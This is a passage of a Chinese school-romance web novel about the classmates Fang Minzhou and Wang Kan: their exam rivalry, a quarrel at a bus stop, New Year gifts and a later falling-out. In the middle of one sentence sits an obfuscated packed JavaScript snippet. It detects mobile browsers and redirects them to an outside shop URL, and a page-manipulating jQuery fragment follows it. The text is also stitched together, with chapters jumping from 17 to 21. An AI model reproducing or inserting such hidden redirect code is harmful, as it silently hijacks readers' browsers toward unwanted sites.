“我之后不会再打扰你学习了。”王衎说,“但如果我有不会的问题,还可以问你吗?” “……什么?”方敏周皱眉,王衎这么问她,她说可以是自己揽活受罪,说不可以又…… “如果我期末能考到段前一百,”他又说,“我是不是还可以坐你旁边?” 方敏周慢慢地睁大眼睛。 她怕是她误会了,可是王衎一脸紧绷的认真。 他知道自己在说什么吗?方敏周觉得王衎疯了,她不可能回答一个疯子的问题,她看到她要乘的公交车开了过来,便转身往公交车站快步走去,排在队伍最后,她听见身后王衎的声音:“那就段前一百,说好了!” 他这一声当然引起了周边人的注意,方敏周生怕被别人看出他是冲她喊的话,躲在人群里挤上公交,匆匆找了一个靠窗的座位坐下。 公交起步,她的一颗心也跟着跌宕起伏。她从书包里找出mp3听英语,窗户留了一条缝隙,令她无端想起运动会的那个傍晚,她吹着不同的风,听着不同的音乐。 那些歌怎么唱的,方敏周此刻一句都想不起来。 公交车驶出一段距离后,方敏周才敢往窗外看去。窗外已经换了街景,而再往后望,无法辨别的距离,王衎好像还站在原地。 17. 第 17 章 方敏周回到家,也许是这一天情绪过于波动,她本应该要担心爸妈知道成绩后的反应,但很平静地告知了。 他们沉默了一会,她妈起身到厨房端来一碗小馄饨,“考也考了,考差了也没办法,你自己知道下次留心就好了。” 算不上责备的话吧,温热的食物顺入食道,方敏周把食物和爸爸谆谆的说教一起默默咀嚼掉。 爸妈态度比较平静,大概是因为他们之间有过一次被修复的信任危机。 那是高一上学期的事情。 她的中考成绩在班里名列前茅,但入学后几次考试却都不过中等甚至偏下。她焦虑,爸妈也着急,她沮丧,爸妈也失望,但接受了事实般,反过来宽慰她。 方敏周始终记得那种屈辱感,爸妈的退让像一把软刀子,硬逼着她承认自己的不优秀,但她不甘心,她就是觉得那不是她的水平,她就是觉得她是能考好的。 然后爸爸对她说:“你说我们不相信你,但你每次都说下次会考好,但实际上,没有做到。信任不是嘴上说来的,我们也不是就不相信你了,只是希望你不要有太多压力。” 方敏周也始终记得在听到这番话后,某种清醒过来后的冷意。 爸爸只是话说得比妈妈好听些,什么“没有想要给她压力”是假的,但方敏周没有意识到,她原来在承诺,那承诺没有依据没有结果,便是信口开河。 幸运的是,这之后的期末考试,她一跃变成了班级第五名,从此没再跌出过段前五十。 直到这次。 还好,他们有了经验,她的承诺从此只说给自己听。 孩童时懵懂无知,听爸妈的话,被爸妈牵引着,现在方敏周的头顶长出了角。 这角可能会伤着人,方敏周不想顶撞爸爸妈妈,而她也感觉到,爸爸妈妈不想伤害她也不想被她伤到,就像牛会被红布刺激,成绩是他们之间微妙角力的锣鼓,双方都尽量偃旗息鼓。 所以,方敏周觉得她大概是看不起王衎的宣言的,可是贬低他,又像是在贬低过去的自己。 而表面上,王衎好像真的开始好好学习了。早自习他还是来不了早,但上课明显认真了许多,自习课也不睡觉看闲书了,拿来问方敏周的题目都变难了很多。 方敏周惊讶的同时,还是怕别人看出这与她有关——是不是她的关系,她自己都弄不清楚,但在发现王衎热衷于钻研难题时,她忍不住提醒他:相比揪着难题不放,不如打好基础来得实际。 她都还会基础题丢分呢。 她故意把话说得冷冰冰的,以免被误会是关心,本以为王衎会觉得没面子恼火,但他倒是平常脸色地说知道了,可接下来上课期间,又是两下三下地瞄她,瞄得方敏周心底一股无名火起。瞪他,他顺竿往上爬,悄然递来一张纸条,上面写着:所以你也想让我考好是不是? 方敏周手起刀落,“刺啦——”一声,再次撕掉纸条。 王衎撇嘴耸耸肩,假模假样地看向黑板听课。 方敏周冷眼等着看王衎这三分钟热度能坚持多久,一个星期半个月?倒不是她小瞧他,而是但凡能坚持认真学习的人,一开始就不会吊儿郎当。 王衎坚持到了第二次月考,考得还不错,又进步了几十名,挤进了段前一百五十,这个成绩和他预估得差不多,他松了一口气的同时,又很清楚自己“到头了”,高一他考得最好的一次也就这个水平。 不过——至少继续进步了,王衎觉得自己表现得还是很不错的,值得鼓励,不过这次考试有比他更高兴的人。 金柏浩出乎所有人意料地考到了班级第三,比考回了班级第四的方敏周还要高,拿到成绩单的他欣喜若狂。 看到方敏周看着自己的成绩单默然不语,王衎忍不住让金柏浩注意点形象:“月考而已,至于吗,范进中举呢?” 他半真半假的调侃,贬褒不明,但依旧是兜头一盆水,让金柏浩从冲顶的狂热中冷静了一点,激动的神情像冷盘里的残油在他脸上凝固。 他摘下眼镜用衣服擦了擦,重新戴上,张着嘴,一副不知道该为自己说些什么的尴尬相。 王衎刚才说那话是为方敏周说的,但此刻也不禁想,凭什么金柏浩能考第三? “你为什么要这么说?”方敏周突然开口。 "什……”王衎竖起眉毛,万万没想到方敏周帮金柏浩说话。 “换成你班级前三,你不高兴?” “我……” 金柏浩方才因为激动而变红的脸更红了,他又抬了抬眼镜,感激地对方敏周一笑,“……我这次也是超常发挥,运气好,这次好多题都是你和我讲过的,下次就不一定了。” “你考得很好,不要听别人乱说。”方敏周说,“你也有教过我题目啊,学会了就是自己的,有些人说了几百遍可能也不一定能听懂。” 金柏浩小声地说了声“谢谢”。 王衎差点吐血,他打断两人的没完没了,“对不起啊,我没有那个意思。” 不过话说回来,他也意识到自己刚才的刻薄,反正方敏周都不在意,他也没必要再为她打抱不平。 金柏浩:“哦……没事,我知道。” 王衎:“虽然我考得没有你们好,但这次进步很大,也是多亏了你们平时的帮助哈。” 金柏浩摆手:“没事没事……” 而方敏周没理他。 王衎不明白,为什么方敏周对别人就是温声细语的?难道一定是要成绩好到能入她的眼才行?金柏浩,林斯年……要死,这个班成绩好的男的也太多了。 之前王衎觉得方敏周好像没有开学时那么讨厌他了,但更多的时候,她会让他认清她还是“看不惯他”的现实。 王衎看看马路,看看方敏周。 站在公交车站,车水马龙的夜幕里,只有他们两个一动不动,像被冻住了,中间隔着比坐同桌时更远的距离。 又一辆公交车载满了人晃悠悠驶过,方敏周要乘的126路还是没来。 这段时间,王衎陪方敏周等过几次公交,但基本没说上话,不知道是她算好了时间还是怎么样,每次刚走到车站公交车来了。 今天是个例外。 他低头想了想,试探性地向方敏周靠近一步,而她明明戴着耳机、目不斜视,却能精准地往旁边退一步。 于是王衎没了耐心再同方敏周迂回,他直接上前,一把拽下了她一边的耳机想要给自己戴上,“听什么呢?啊,听力?哇塞……” “喂!”方敏周把耳机线抢回来,缠好,把MP3塞进外套口袋里。 “这么点时间你都用来学习啊。” “关你什么事。” “你真的说到做到诶,除了学习,一句多余的话都不和我说。我站着你旁边这么久,你也鸟都不鸟我一眼。” 方敏周深呼吸一口冰凉的空气,“……有事吗?” 王衎发现他可能是习惯了,方敏周的冷脸对现在的他来说一点也不可怕,反而让他更想犯贱——但不是这个时候,“……我这次考了段一百四十五。“ 方敏周没想到他会和自己说这个,莫名慌了一瞬,但嘴巴依旧抿得紧紧的。 王衎猜到了方敏周不会对他说任何恭喜的话,有些低落的同时低声问她:“之前说得……还算数吗?” 方敏周的沉默让王衎也闭上了嘴。 不知哪辆车突然鸣笛,刺耳尖利,把王衎那点被冷落的羞耻、挫败、伤心甚至一点点的愤怒捣成一窝碎玻璃渣子,不过他很坚强,强行转移话题,笑着说:“我其实也是想谢谢你啦,和金柏浩一样,要不是你给我讲题,我也考不到这个分数。” 她看向他。 “上次在食堂,你是不是因为我说你不用对自己要求太高所以生气?还有你觉得我没资格安慰你?我是想说,不管你觉得我有没有资格吧……”王衎觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16270966|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己词不达意,但也没办法了,“我是真的觉得你……可以放松点,你这次不就考得挺好了的吗?期中考就是个意外,下次你也肯定会比金柏浩考得好。” 方敏周终于愿意再同他说话了,但是她说的是:“王衎,你好幼稚。” 被说的人脸上本来就勉强的笑容淡下。 “你太幼稚了,如果你不知道幼稚这个词是什么意思,我建议你找本字典把这个词和释义抄五十遍。”方敏周看着他一字一句道,“你只看到我们认真学习、成绩好,你根本没有想过我们为什么要这么在意成绩,你就觉得大家都可以轻松一点,开开心心的,谁不想开心?但你有为什么努力过吗?你拥有的一切都是轻而易举的你没有发现吗?” 方敏周看到王衎脸上的疑惑和怔愣,她说到最后声音有不易被察觉到的轻颤,也许是天气太冷了,也或许是她也没想到自己会突然说出这么一番话来,说不上是为像和自己一样笨读书小孩的辩解,还是对王衎这类不知天高地厚纨绔子弟的鄙夷,还有……失望。 126路到站,方敏周上了车,依旧坐在窗边,玻璃蒙着雾气,这一次她没有往窗外看去。方敏周重新戴上耳机,让王衎的胡说八道都见鬼去吧。 她回到家,妈妈依旧准备了夜宵,方敏周没什么胃口,就听她爸轻咳一声:“没事,高二了,考试越来越难的也是正常的,我们努力了就可以了。” 什么? 方敏周这才发现爸妈笑容里隐藏的忧虑,她放开一路的坏情绪,从书包里找出成绩单递给妈妈。 妈妈迟疑地接过,看清成绩单后,如释重负地长叹了口气。 方敏周也笑,妈妈问她不想喝汤的话那想吃什么,她现在给她做,方敏周说没事,还是喝汤吧。 她在餐桌前坐下,喝鲜美的山药排骨汤,听爸爸念叨:“和我上次说的一样,你看你这次物理提上来一点,排名马上就上来了,生物这次考得不错……” 方敏周不由得想起自己半个小时前质问王衎的问题,他如果反应得够快,问她为什么在意,她会怎么回答? 她忽然觉得自己对他有些过分,每个人的生活环境和想法都不一样,她不喜欢被他指手画脚,反过来,她也不应该指责他。 “怎么了,味道不好?”妈妈问。 “啊?”方敏周回过神,连忙咬了口排骨,“没有,好吃。” 但方敏周对王衎的歉意没持续多久,他“堕落”得极快,眼见着上课就变得不那么认真了,晚自习又开始开小差,于是她收起了自己先前的那些多虑,心想果然是这样,那么她也不算说错话。 也幸好没有应承他那随口胡说的赌约。 如果现在元月在问她对王衎的印象如何,她一定会再加个“爱说大话”,但元月最近尚且焦头烂额,自不会关心王衎如何——她忙着学习、忙着谈恋爱、忙着躲查邻居哥哥的审查。 准确地说,还没到正式谈恋爱的程度,只是前后桌的暧昧,但这已经让元月很心虚,“如果我哥知道了就完了……” 方敏周理解也不理解,毕竟那不是元月的亲哥,但结合元月的情况,也情有可原。 这天方敏周和元月本来约好一起吃饭,再去传达室取她哥寄来的快递,但寝室楼临时通知晚上停水,元月得提前洗头洗澡加储水,方敏周便先去帮她取快递,如果元月好了,再一起去吃饭。 一个像是装了衣物的包裹,方敏周在表格上代签后,抱着包裹走出传达室,这个时候,她看到了王衎和他妈妈。 王衎正从他妈妈手中接过保温饭盒,看见她,面露惊讶,显然是没想到会在这里遇见,方敏周也差不多。 那天车站之后,她和王衎之间的关系温度再度降低,但现在碍于家长在场,她卡住了。 这是极短时间内的犹豫,方敏周反应过来后是不打算打招呼的,但王衎妈妈先热情而惊喜地喊她:“诶,你好,敏周是吧,王衎的同桌!” 20-30 第21章 第 21 章 夜宵他们最后还是吃…… 夜宵他们最后还是吃的烧烤, 十来个人。 一开始大家还略有点矜持,男生一桌、女生一桌,但不一会儿聊开了, 老板过来上菜, 随口建议他们干脆把桌子拼在一起算了。一番活动更热闹, 有人兴头起来提议“喝点儿小酒”, 被林斯年当作玩笑按下。 方敏周全程安静吃东西, 她旁边坐的欧阳茜和孙彤,欧阳茜俏皮话不断,孙彤则比方敏周更为寡言。 欧阳茜和林斯年身上都有超出同龄人的成熟, 尽管两人气质大不相同,但他们为人处事上的游刃有余是方敏周蛮羡慕钦佩的本事。 林斯年有翩翩君子、温润如玉的风格, 不过难免会有距离感和过度美化的想象;欧阳茜是天性活泼大方,但方敏周现在不期然知晓了她内里也有出格的想法。 有任课老师曾戏言, 詹老师看似“不理朝政”, 实则眼光毒辣早早就钦定了两名大将。仔细想想, 既然是将, 又怎么会只有表面的乖顺? 一桌人口味喜好不一, 各色菜式都有点, 微辣中辣的偏多,孙彤好像不太能吃辣,只吃刷了秘制酱香调料的一盘烤串, 吃完一轮,大家七嘴八舌地加菜, 孙彤没加入,方敏周正犹豫要不要代她说话,林斯年已经让老板再来几串招牌的酱香口味。 方敏周若有所觉, 而林斯年好像只是随口一提一样,注意到方敏周的视线后,反而问她:“你有什么要点的吗?” “哦……”方敏周已经半饱,想着要不再来串烤虾吧,还没开口,只听斜对角王衎手一挥,“老板,再来五串虾!” “……”方敏周对林斯年说,“不用。” 她这个时候再看向王衎,而王衎左手撑着脸,脸偏向了另一边。 每个人的脸都被闷得红红的,林斯年转而问孙彤,孙彤则冷淡地说:“我已经饱了,酱香的也不用点了。” 方敏周一愣,林斯年也是微怔,过后仍是笑笑:“没事,我吃。” 欧阳茜碰碰方敏周,方敏周同她对视一眼,微微摇头。 孙彤应该是真的吃饱了,她放下筷子后没多久,就穿回校服外套站起来,用平常的音量说了句“我先走了”,留下一桌人目瞪口呆。 “我去送下。”林斯年反应最快,拿起外套追出去。 店门开开合合,寒风趁势溜进,很快湮没于满屋的热气中。 “这、这就走了?” “可能要回去学习了吧。”女体育委员语带嘲讽。 她这一出声,大家自然都想起来运动会她和孙彤之间的不愉快。 有人跟着轻笑,“真的假的?” “你去看看?” “我才不去,你去。” 方敏周摸着杯子不语。 孙彤是难以相处,但不是因为她愚笨,而是她选择如此,就好像在对抗全世界,方敏周甚至有种她是在故意掀台的感觉,至于为什么,她不知道。 “孙彤有事先走了嘛又没关系。”欧阳茜说,“反正班长请客,不醉不归呀。” 她像个指挥家,抬手弹指之间,就把气氛重新带起,郑彦航嚷嚷:“不醉不归?那也得有酒啊欧阳大人!” “谁是大人?还没出戏呢?” “亲爱的朋友们——”王衎站起来举杯,用扮演舞台剧王子的腔调,“新的一年,我先干为敬!” “灰姑娘灰姑娘!”有人起哄。 尹梦然推拒不过,只好喝了一口饮料。 扮演仙女的同学紧接着说,“亲爱的王子殿下、辛德瑞拉小姐,新的一年,请告诉本仙女你们的新年愿望是什么呢?” 尹梦然一边害羞掩面一边直摆手。 “本王子的新年愿望就是……”王衎轻蔑一笑,“成为班级第一。” 大家再不配合,“快,谁快去把孙彤叫回来!” “方学霸,你同桌要造反了!” 方敏周发现自己好像已然习惯了王衎的搞怪和捣蛋,她只是跟着笑,不知是谁忽然感慨了一句:“其实孙彤这个剧本写得还真挺好的。” 努力调动的欢闹落了一拍似的静了静,在有人表示赞同后,大家聊起了排练时的趣事,而那些快乐是真实的。 这下功成圆满。 王衎坐下,看到方敏周在看他,他下意识地挑眉,然后反应过来自己这样一定又要被她在心里骂轻浮之类,但方敏周好像没有这个意思。 王衎心思一动,拿起桌边的可乐向她示意。 方敏周朝他举起杯子。 很小的塑料杯,咕噜噜两声就倒满了,气泡趴满了杯壁,争先恐后地向上冒。 旁边的郑彦航满意地在桌下悄悄又竖了一个大拇指给他,吴丞在旁边也是但笑不语。 王衎:“……” 随后他动了动嘴角。 林斯年回来得比大家预想得快,被问孙彤是已经回家了吗还是怎样,林斯年微顿,说:“送她上车了。” “这还要你操心?”有人吐槽。 方敏周多看了眼林斯年。 吃得差不多后结束聚餐,天冷等公交痛苦,有回家顺路的同学一起打车,方敏周要乘的公交车站就在附近,但没有人和她一个方向,林斯年出于安全考虑,说:“我和你一起等车吧。” 方敏周摆手,欧阳茜则揽下这活:“我和方敏周就行,有人来接我。” 林斯年还是不太放心,毕竟方敏周和欧阳茜是两个女生,这个时候王衎对他说:“班长你走吧,不用担心,我也在这等车。” “好的,那麻烦你了。”林斯年说。 王衎咧嘴:“不麻烦。” “你不是住新城那边吗?”有人问。 “我今天去我亲戚家。” “哦,这样啊。” 于是欧阳茜站在了方敏周和王衎中间。 她倒不冷落王衎,和方敏周聊上一会后,也会问候王衎一句,没过多久,一辆破旧的灰色面包车停在他们面前。 欧阳茜声音一亮:“我小姨来了。” 方敏周不敢露出自己的惊讶。 “那……我先走啦?” “好的。”方敏周嘴上这么说,心里却冒出问号和感叹号:这是欧阳茜小姨的车? 她见识浅薄,在她的印象里,开这种车的似乎都是中年男性,不过好像也符合在批发市场打拼过的老板形象…… 而高中生欧阳茜摇下车窗,笑容灿烂地挥了挥手:“走啦,拜拜,到家给我发条短信哦。” “嗯嗯,拜拜。” 方敏周看到了主驾驶座年轻女人的侧脸。 车子开走后,王衎往方敏周走近一步,“这是欧阳茜小姨?” “……嗯。” “好像还挺酷的。” “……嗯。” 王衎欲言又止地看她。 只剩他们两个人,方敏周强撑着没有像以前那样往旁边躲,但她戴上了校服外套的帽子,物理手动隔绝外部的声音。终于等到公交,她径直上车刷了卡,在前车厢的单人座坐下时,看到王衎也上了车,她吓了一跳,与此同时车门关闭。 方敏周:“……” 王衎说他要去亲戚家的话,她本就半信半疑,但她不愿自作多情地想自己怀疑的原因,但现在……王衎是要去哪个亲戚家? 车厢后面还有空位,但王衎握住了她座位附近的拉环。 车上还有其他同校的学生,方敏周再一次觉得王衎疯了,胆子大的疯了,她根本不敢想他到底要做什么。相比他随着车子颠簸微微摇晃的放松姿态,方敏周脖子僵硬地看向窗外。 玻璃起雾,模糊了飞闪而过的城市夜景和车厢内的人影,以及不知是否有交汇的视线。 王衎没有找她说话,但方敏周仍然担心别人误会,就像担心别人闻到他们两个身上都残留着烧烤的烟火气。 她其实很讨厌“害羞”这类情绪。 她深刻地记得初中参加的一次校内演讲比赛,一开始她没有报名,但老师语重心长地鼓励她参加。她说她知道她性格安静内向,但该上场的时候还是要懂得表现自己,方敏周觉得老师说的有道理。 而决赛现场,她紧张地看着在她序号前一位的女生上台,对着话筒,微笑着张嘴——但实际上,上下唇纹丝不动。 在全场安静的等待下,她努力保持着笑容,终于出声,但声音小而颤抖,脸越来越红,最后忘词,胡乱地结尾致谢,狼狈下台。 自己最担心的事情发生在别人身上,只是看着,方敏周都觉得自己跟着死了一番,以至于后面她怎么上的台、说了什么、怎么下的台,她都记忆混乱,灵魂出窍了一般。 她和那个女生最后都没有得奖,而得奖的同学,无一不是平时性格就积极主动的,问他们,他们也说自己紧张,但站在台上那一刻,如何如何克服了紧张。 从此,每当害羞害怕、紧张尴尬等生理反应出现,方敏周都会强行把它摁下去,就像打地鼠一样,要狠、要准、要克服。 所以当王衎继续跟着她下车并且尾随了一段路时,方敏周走到无人的街角后猛地转身,恶声喝道:“你干嘛!” “吓死……”王衎被她吼得抖了下,然后他挠了挠脑袋,走过树荫,走到黄色路灯的灯光里,目光闪躲,直把方敏周看得一颗心越跳越快。一路恼羞成怒好不容易积攒起来的戾气兑成刺,结果一个气球都没扎破。 地鼠或许打到了,但遇到一只很傻的不跑的地鼠,捂着头,一双黑眼睛,眼巴巴地看着她。 她的游戏规则被破坏了。 顶着方敏周并不友善的目光,王衎把书包翻到身前,拉开第二层的链接,从里面掏出了一本书给方敏周。 方敏周:“……” 王衎颠了颠手里的书,“送你的。” 方敏周:“……” 她又看精神病一样看他,王衎服气了,把书硬塞给她:“送你的……新年礼物,诺贝尔文学奖得主最新力作,新书畅销top1,你别告诉我你已经买了?” 方敏周只好说:“没有……” 但他真的有病吧? 他书包鼓囊得出奇,他又拉开第一层拉链,从里头掏出一个小熊玩偶。 或许该被称为大熊的玩偶,硬是被塞进书包里,现在像发酵的面包,在冷空气里慢慢膨胀回原来的模样。 “……这也是新年礼物?” “嗯哼。” “你已经送过了。” “谁规定新年礼物只能送一份了?” 新年礼物是一个正当的词汇,方敏周没有理由拒绝,但是,“你……” 干嘛送我。 “想送就送喽……也算是感谢你期末这段时间教我题目吧。”王衎说完,用手指向天空,惊喜道,“哇塞,下雪了。” 方敏周没有被转移注意力,“我没有准备送你的礼物。” “不用你送。”王衎说,紧接着笑嘻嘻地补充,“不过如果你想送的话也可以。“ 方敏周面不改色,“……你喜欢什么?” “都行,我不挑。” 方敏周沉默片刻,“好我知道了。下雪了,你赶快回家吧。” “行。”王衎说完,看到方敏周突然笑了。 他刚才送她礼物都不带笑一下的,这个时候笑成这样,王衎心生不妙,“你笑什么?” 如果换做平时,方敏周是不会说的,但在这个当下,她试着去戳了戳玻璃纸,“你不是说你住你亲戚家吗?” “我、我是说住我亲戚家啊。” “哦。”玻璃纸原来是弹性的,方敏周把书和玩偶抱在怀里,一边想着待会怎么和爸妈说,一边对王衎客气道,“谢谢你送的……礼物,我想想送你什么。” “随便啦,我也随便送的。” “那……再见。” “再见,明年见。” 方敏周当真头也不回地走了,王衎头一次觉得自己确实嘴笨,他喊住她:“喂!” 方敏周转身。 雪眨眼间就下大了,纷纷落落,这是深夜,万物俱静。她看见王衎一脸别扭,也许就是她自己最避之不及的羞涩,他问她:“我后面唱的那首歌……你有没有听懂啊?” 第22章 第 22 章 “……嗯。” 王…… “……嗯。” 王衎听见方敏周说。 她的回应轻轻的, 像雪花一样落在他滚烫的耳朵上,王衎心悸得再也说不出下一句话。岩浆燃烧着的心口吸进冰冷的空气,流出一道涓涓细流。 他其实没有奢求太多, 只是想要让方敏周知道他的心意, 知道他不过就是在喜欢她而已就好了。 然后有一天, 也可以给他一个拥抱。 王衎低头看地。 方敏周抱紧了怀里的小熊。 这个初雪的夜晚, 有点像初中那场演讲比赛。 世界照常运转, 他们隔着雪花沉默了一阵,再互相道别各回各家——可真要回忆起来,刚刚发生的事情, 却梦里看花似的糊里糊涂。 方敏周回到家,说玩偶是同学送的新年礼物, 这不算撒谎,但小熊还是被妈妈拎走。 妈妈说要洗洗。 晒过太阳的小熊摆在她的床头, 软软的, 香香的, 手感特别好, 适合抱住睡觉。方敏周真的抱住了, 又翻来覆去得睡不着, 起床开灯,把熊塞进了衣柜,过了会, 又把它放出来。 元旦当晚,在窗外有烟花响起的时候, 方敏周收到的新年祝福里有来自王衎的一条:新年快乐,方敏周。 外面的风吹敲着窗户,方敏周想起那晚被路灯染得像黄色玉兰花花瓣的雪花, 还有王衎后来像是想笑但紧张得笑不出来的表情,拥乱烘热礼堂后台的歌声在她耳畔萦萦绕绕,那些她原认定是胡闹的歌词,一下子变得那么直白,直叫她手足无措,强撑着,不想被他看出来。 细节像被一张被打开的剪纸那样展开,具象而细致,让她不知道该张贴到何处。 她是听懂了,然后呢,王衎也没说。 她回他:谢谢,新年快乐。 Q/Q显示着王衎正在收听的音乐,过了一会儿,他发来了一个兔斯基波浪手的表情包,让方敏周忍不住一笑,找不到合适的回复。妈妈在这个时候忽然敲门提醒她早点睡,方敏周应完,有点心虚,干脆下了线。 她拿出新的日记本,心思乱得卡壳,鬼使神差地打开音乐播放器,搜索了王衎刚才在听的歌。他之前后台唱的那首,她凭着印象也搜索过,原版好听多了,但……她不能多听。现在这首是粤语歌,又是情歌。 她戴着耳机,听着听不懂的歌词,写下新一年的计划。 这一年包括高二下学期和高三的上学期,首先,重中之重,她要好好学习,这次期末考依然要保持在班级前五,等到高三争取稳定在班级前三,其次要保持,寒假就应该背完手头的单词本…… 除此之外……她好像也没有什么目标了,旅游还是学车,那都是高考后的事情,其实说白了,接下来一年半,她都只有高考这一个目标。 ——但只要达成这个目标就好。 方敏周一向遵规守纪,但不影响她知道潜规则的存在。在他们这个成绩为王的阶段,行为边限的尺度与成绩呈正相关。 歌单里的歌随机着不知道播到了哪首,方敏周摘下耳机,合上本子,关灯上床睡觉。 不同于以往假期结束后的低迷,这次返校后,大家都迅速进入了复习状态,这点上王衎表现得还算令方敏周满意。 在起初刚照面的小尴尬后,他们还是和假期前一样相处,仿佛无事发生,只是很多时候王衎的问题多到方敏周有点烦。故意成分含量多少无法鉴定,方敏周干脆限定了他每日的询问次数。 王衎对此不解且不满,“其他人你怎么没有规定呢?” “其他人又不像你一样有这么多问题。” “哪里没有,你和金柏浩,不天天都在讨论?” “那等你什么时候有金柏浩的水平再说吧。” 这句话脱口而出,方敏周没有嘲讽贬低王衎的意思,单纯就事论事,但看到他脸色微变,方敏周便知道她这话有点过分了。还没来得及解释,王衎先赌了口气说:“行,期末考你等着瞧吧。” 最后,方敏周的生日愿望和新年第一个小目标实现,她考了全班第四,但王衎没有兑现他的赌约。 班级19,年级106。 这个成绩其实已然很好,特别是对比他学期初的表现,但,没有达到目标就是没有。 成绩出来后,方敏周就感觉到王衎在回避她,老师讲解试卷时也心不在焉。 方敏周知道王衎内心多少是有点自负的,或者说,他们这些考上一中的学生,谁不骄傲。他大概就是那种平时不怎么学习、但凡认真点就会考得不错的人,比如中考、比如高一的分班考,这回期末却不尽如意,不免深受打击。 但……虽然他的确是认真备考了,可是比他成绩好的,哪个又不认真呢? 方敏周想找机会和王衎聊聊,但王衎总是顾左右而言他,这让方敏周不禁怀疑是自己多管闲事。 听说高三的寒假只有十天,但高二还是正常放假,有将近一个月的时间。 离校那天提前三点就放学,王衎和郑彦航他们最后打了场篮球。 午后阳光温暖热烈,王衎打得很凶,热到最后脱得只剩一件短袖。坐一旁休息的时候,郑彦航把校服外套丢到他身上,“你小心生病了。” 王衎恹然,眉毛微拧,一副别人欠他钱的臭脸。 “够了哈,都段一百了,还不满意呢?”郑彦航一边转着篮球一边说,忽然食指失了重心,篮球掉到了王衎脑袋上,再从他的脑袋弹到地上。 王衎:“……” 郑彦航:“sorry哥们。” 他把篮球捡回来,坐到王衎身边,也不嘴贱了,好奇问:“你和我们方姐到底啥情况啊?” “什么你的我的?” “说认真的,难不成她要求你考到多少才能……”郑彦航五官乱飞。 王衎一梗,“别你大爷的乱说。” “嘿,我大爷没乱说,是我郑彦航乱说行了吧。” 王衎和方敏周这一学期来的纠葛他们几个都看在眼里,特别是这次期末考,那简直是司马昭之心路人皆知,一心向组织证明衷心呐,没想到王衎这人铁树开花嘴还挺严,私下里愣是什么都打探不出来,问就是他金盆洗手改革洗面了,反过来规劝他们好好学习。 “我认真说啊,我觉得咱这态度可以了,詹师太都夸你了,方敏周又不是什么铁石心肠的人,追女孩你知道最重要的是什么吗?就是态度,我告诉你……” 王衎把篮球从郑彦航怀里拿回来,“罗里吧嗦的,你懂个屁,我这是为自己学习。” “得了吧你。” 后半场潦草打完,学校里的人所剩无几,郑彦航和王衎去车棚取车,走到校门口,他胳膊肘连撞旁边的王衎,“快看!” “干嘛?” “快看快看!” 王衎不耐烦往前看去,校门口还有几个学生在等家长来接,边上站着方敏周和元月,没等他们走到校门口,来接元月的车到了,元月大概是想送方敏周一程,但方敏周摆了摆手。 元月这次期末考考得不错,应该能让她哥满意,方敏周比较心安地送她上车后,听到郑彦航的声音,“方姐,还没走呢?” 方敏周不知道郑彦航他们为什么突然开始叫她方姐,虽然不喜欢,但这个称呼姑且没有冒犯到她,所以她也没有纠正。她同郑彦航打了声招呼,目光没有在旁边的王衎身上作过多的停留,便往车站的方向走去。 王衎一声不吭的,郑彦航正准备指点他不懂得见机行事,却见王衎已经神游一般跟在了方敏周后面。 郑彦航:“……” 冬天太阳落山的早,下午四五点钟,天色还亮,但已然有夕阳西下的感觉,街道行人寥寥,背着双肩包的女生走在前面,三米开外,男生推着自行车走在后头。 车站已经没有还在等车的同校学生,方敏周望着街对面的老式糕点店,老板从烤箱里端出一盘刚刚出炉的鸡蛋糕,隔着一条街能闻到香气。 她看了眼跟过来的王衎,问他:“……你要不要吃鸡蛋糕?我请你。” 低头看脚尖的王衎还没反应过来,方敏周已经走到前面的斑马线处了,于是他看着她赶在红灯前小跑跑过斑马线,走到糕点店,付钱后从老板手中提过一袋子黄澄澄的小蛋糕,很快跑回来。 在这期间,过了一辆126路,下班车至少还要等十分钟。 他依然不喜欢吃甜点,方敏周肯定知道,不过她吃了一个,他也吃了一个。 “你今天也去你亲戚家?”方敏周问他。 王衎:“……嗯。” 方敏周没有戳穿他的谎言,她拉开书包拉链,从里面取出一本书递给他,“还你的礼物。” 王衎的心顿时一跳,接过来一看,却是一本英语练习册。 他嘴里的蛋糕还没吞下,这下更加味如嚼蜡。 “你这次期末考考得其实……还行,主要是政治和英语,如果你觉得政治反正高考不考不想背的话,至少英语分数要提上来。”方敏周说,她看了王衎的卷子,其中英语单项选择题可谓一塌糊涂,他英语一半靠语感,语感不行又没基础,就会这样滑铁卢,“然后还有你的语文和化学,我建议你……” “知道了。”王衎打断她。 方敏周一愣,察觉到他有点不高兴,她理解,但又觉得他小孩子脾气,“我觉得你应该好好分析下你这次的试卷,虽然你的确……很努力,但其实你就努力了一个月,是吧?那其他人认真一个学期甚至更久,考不过很正常,你自己也说了,放轻松点,不用一下子对自己太高要求。” 这可是之前王衎劝慰她的话,但王衎的脸色像天边愈暗的天色,“我说,我知道了。” 方敏周看着他,语气也变得冷硬,“你知道就好。” “你说完了?” “说完了。” “那我走了,礼物——”他停住,递还给方敏周,方敏周没接,他扔到了一旁的长椅上,“就不用了,谢谢。” 说完,他骑上车扬长而去,留下方敏周一个人站在车站。 羞耻感是油,泼在心里的怒火上,她咬紧了牙,直到新的一辆126路在她面前停下,她拿起那本英语练习册塞进包里。 她真的是吃饱了撑的。 第23章 第 23 章 化愤怒为力量,寒假…… 化愤怒为力量, 寒假在家一个星期不到,方敏周把她买给王衎而王衎不要的那本英语练习册刷完了。 基于王衎的水平,她特别挑的中等难度, 整本书以经典例题总结归纳语法, 对方敏周来说稍微简单了一点, 但集中精力一口气啃下来, 她就当巩固基础了。 王衎不要是他的损失。 她早该知道的不是吗?三分钟热度、自以为是、眼高手低, 把别人的好心当成驴肝肺。 车站不欢而散后,方敏周和王衎就没了联系。再想起他,方敏周除了骂他, 也骂自己,他只是随便唱首歌、送个礼物, 她就跟个傻子一样在意了。 她生王衎的气,气到最后, 又是不宜泛滥深思的委屈, 只有刷题排解。 这倒是把赵宁英吓到了, 以为方敏周受到了什么刺激, 但期末考考得不错呀, 不禁私下里怪方良平给她太大压力。 